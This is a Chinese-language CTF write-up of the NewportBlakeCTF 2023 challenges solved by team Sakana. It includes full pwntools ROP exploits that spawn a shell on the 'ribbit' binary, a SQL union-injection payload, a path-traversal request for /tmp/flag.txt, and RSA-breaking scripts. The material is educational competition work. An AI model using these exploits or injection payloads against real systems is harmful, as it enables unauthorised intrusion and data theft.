NewportBlakeCTF 2023 (NBCTF 2023) Sakana战队wp

本次国际赛sakana战队拿下112名, 解出题目如下所示:

以下为解出题目与比赛结束后检验过能解出的题目:

pwn

ribbit

ret2syscall的一道比较模板的题

思路一:

构造数据满足win函数

随便找一个bss段的位置。

然后ROP出一个read就行。然后win函数的两个参数分别对应rdirsi,那么利用 pop_rdi 和 pop_rsi 指定参数即可。


#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2.布置传参

    payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    # payload2 = b"You got this!"

    # payload2 = payload2.ljust(0x15,b'\x00')

    # payload2 += b'Just do it!\x00'

    payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00"

    sl(payload2)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

思路二:

不管win函数,反正程序能执行system(/bin/sh),那么直接ret2syscall做就行。

先利用syscall实现一个往bss段写/bin/sh的read函数,然后再实现一个system函数就行。

EXP:


#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2. execve("/bin/sh",NULL,NULL)

    payload += p64(pop_rax) + p64(0x3b)

    payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0)

    payload += p64(pop_rdi) + p64(bss_chr_addr)

    payload += p64(syscall_ret) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    payload1 = b'/bin/sh\x00'

    sl(payload1)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

MISC

do you hear that?

简单的音频隐写签到题

解出flag:nbctf{y0u_h4v3_s0m3_g00d_34rs}

crypto

Caesar Salads

题目如下所示:

Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}

很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:

解出flag:nbctf{hope_this_wasnt_too_hard_of_a_start}

32+32=64

两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:


import base64

def decode_base64_multiple_times(encoded_str, num_times):

    decoded_str = encoded_str

    for _ in range(num_times):

        decoded_str = base64.b64decode(decoded_str)

    return decoded_str.decode('utf-8')

def main(file_name):

    file_path = file_name# "32_{}.txt"

    num_decodes = 32

    try:

        with open(file_path, 'r') as file:

            base64_encoded_string = file.read().strip()

        result = decode_base64_multiple_times(base64_encoded_string, num_decodes)

        return result

    except FileNotFoundError:

        print(f"Error: File '{file_path}' not found.")

    except Exception as e:

        print(f"An error occurred: {e}")

if __name__ == "__main__":

    flag = ""

    for i in ["32_1.txt","32_2.txt"]:

        flag += main(i)

    print(flag)

解出flag:nbctf{h0pE_y0U_h4d_fUn}

Rivest Shamir forgot Adleman

rsa, 但是细看会发现有点不太一样, 看部分源码:


m = bytes_to_long(b"nbctf{[REDACTED]}")

ct = (m^e) % n

latex写多了, 一直没想起^在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:


n =  13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873

e =  123589168751396275896312856328164328381265978316578963271231567137825613822284638216416

ct =  159269674251793083518243077048685663852794473778188330996147339166703385101217832722333

from Crypto.Util.number import *

pt = b"flag{fake_flag}"

u = 0

while pt[:5] != b"nbctf":

    m = (ct + (n * u)) ^ e

    pt = long_to_bytes(m)

    u += 1

print(pt)

讲个笑话, 我一直以为取模起作用了, 开始是令u = 1, 爆破了好久没出结果, 然后自己随便取了个flag{test}反推, 发现m^e可能会小于n, 把u改为从0开始秒出结果:

解出flag:nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}

SBG-ABW's Insanity

经检验getPrime(1096)会获取长度330的随机素数.

当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的q1, 已知n1n2共用了p, 其中有

math

由模运算的定义可知math可被n1整除, 同理math可被n2整除, 即math, 再将结果进行反代: math, 其中q为330位的素数.

接下来使用python求出math:


ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749

ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824

from Crypto.Util.number import bytes_to_long

from Crypto.Util.Padding import pad

from gmpy2 import gcd

m = bytes_to_long(b'we give you this as a gift!')

e = 11

p = gcd(pow(m,e) - ct1, pow(m,e) - ct2)

q1_v = (pow(m,e) - ct1) // p

print("q1*v = ",q1_v)

# q1*v =  9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588

网站先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:


from Crypto.Util.number import long_to_bytes

from Crypto.Cipher import AES

import hashlib

enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f"

q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243

key = hashlib.sha256(long_to_bytes(q1)).digest()

cipher = AES.new(key, AES.MODE_ECB)

flag = cipher.decrypt(bytes.fromhex(enc_flag))

print("flag is:",flag)

# flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03'

解出flag:nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}

Too Little Information

原理:

math

使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。

使用sage进行Coppersmith定理攻击:


ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534

e = 65537

n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961

hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200

from Crypto.Util.number import *

p_ = var('p_')

approx_p_plus_q = hint << 200

approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0])

PR.<x> = PolynomialRing(Zmod(n))

f = approx_p + x

x = f.small_roots(X=2**200, beta=0.4)[0]

p = int(f(x))

q = n//p

d = pow(e, -1, (p-1)*(q-1))

print("flag = ",pow(ct,d,n))

#flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149

#print(long_to_bytes(pow(ct, d, n)))

#nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}

可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:

解出flag:nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}

web

Inspector Gadget

旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:

  • 直接进入其中一个网页找到标题flag1/4

  • 在js里面找到隐藏文件supersecrettopsecret.txt, 访问后拿到flag2/4

  • 让图片丢失后显示flag3/4

  • 扫目录在mysecretfiles.html拿到flag4/4

最后组合后解出flag:nbctf{G00d_J06_D3tectlv3_G4dg3t352}

walter's crystal shop

sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:

Amethyst' union select 1,2,flag from flag--+

查询后拿到结果:

解出flag:nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}

Galleria

因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从Dockerfile文件可知flag以flag.txt形式存放在/tmp/flag.txt处, 审计源码, 这里贴出部分比较关键的代码:


def check_file_path(path):

    _path = Path(path)

    parts = [*Path.cwd().parts][1:]

    for part in _path.parts:

        if part == '.':

            continue

        if part == '..':

            parts.pop()

        else:

            parts.append(part)

        if len(parts) == 0:

            return False

    _path = os.path.join(os.getcwd(), path)

    _path = Path(_path)

    return _path.exists() and _path.is_file()

    

@app.route('/gallery')

def gallery():

    if request.args.get('file'):

        filename = os.path.join('uploads', request.args.get('file'))

        if not check_file_path(filename):

            return redirect(url_for('gallery'))

        return send_file(filename)

check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问[网站地址]/gallery?file=/tmp/flag.txt拿到flag.

解出flag:nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}

ctf
128 views
Comments
登录后评论
Sign In